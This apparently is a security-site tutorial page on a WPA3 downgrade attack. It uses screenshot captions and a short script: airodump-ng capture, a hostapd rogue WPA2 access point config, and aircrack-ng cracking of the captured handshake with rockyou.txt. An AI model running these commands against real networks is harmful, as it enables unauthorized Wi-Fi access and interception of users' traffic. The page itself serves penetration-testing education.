> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/pwnage/wifi/wpa3-downgrade-attack.md).

# WPA3 Downgrade attack

WLAN configured for WPA3 SAE with backward compatibility

<figure><img src="/files/OBDoWgufXMJhFBqa2499" alt=""><figcaption></figcaption></figure>

Confirmation via airodump-ng

<figure><img src="/files/WbSVi2EuU9sjN9jN0227" alt=""><figcaption></figcaption></figure>

Create a rouge access point that will broadcast an RSN IE of WPA2

<figure><img src="/files/IVbBYjSiDLP5R4Win0sA" alt=""><figcaption></figcaption></figure>

Start airodump-ng before running the fake AP

<figure><img src="/files/sTnZGVYyVxpm0m8rPVvF" alt=""><figcaption></figcaption></figure>

Start fake AP

<figure><img src="/files/wHM6ttutyl2HqRpgRlHD" alt=""><figcaption></figcaption></figure>

Clients are already trying to auth against the fake AP

<figure><img src="/files/QpM7e8HFkVyhKwOOawZq" alt=""><figcaption></figcaption></figure>

The fake AP does not know the correct PSK, but the client and AP will exchange a few frames. The four-way hand-shake was captured

<figure><img src="/files/HGxz5syWjNaLkw9hlUxt" alt=""><figcaption></figcaption></figure>

Attempt to retrieve the PSK via a dictionary attack

<figure><img src="/files/VPE6skcaZsTNJMyo4cPN" alt=""><figcaption></figcaption></figure>

## Script to execute the scenario

<pre><code>:> ifconfig wlan0 down
:> iw dev wlan0 set monitor none
:> ifconfig wlan0 up

<strong>:> airodump-ng --band abg --essid xxx-GUEST -w xxxguest wlan0 --channel 1,6,11
</strong>
<strong>
</strong>
----host.cfg-----
interface=wlan0
ssid=XXX-GUEST
hw_mode=g
channel=9
auth_algs=1
wpa=2
wpa_passphrase=LETMEIN1234
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

<strong>:> hostapd host.conf
</strong>
:> aircrack-ng *.pcap -w rockyou.txt
</code></pre>

## Resources

{% embed url="<https://www.youtube.com/watch?v=8kXM1VDwmm8&ab_channel=Jos%C3%A9Daniel>" %}

{% embed url="<https://www.netprojnetworks.com/wpa3-downgrade-attack/>" %}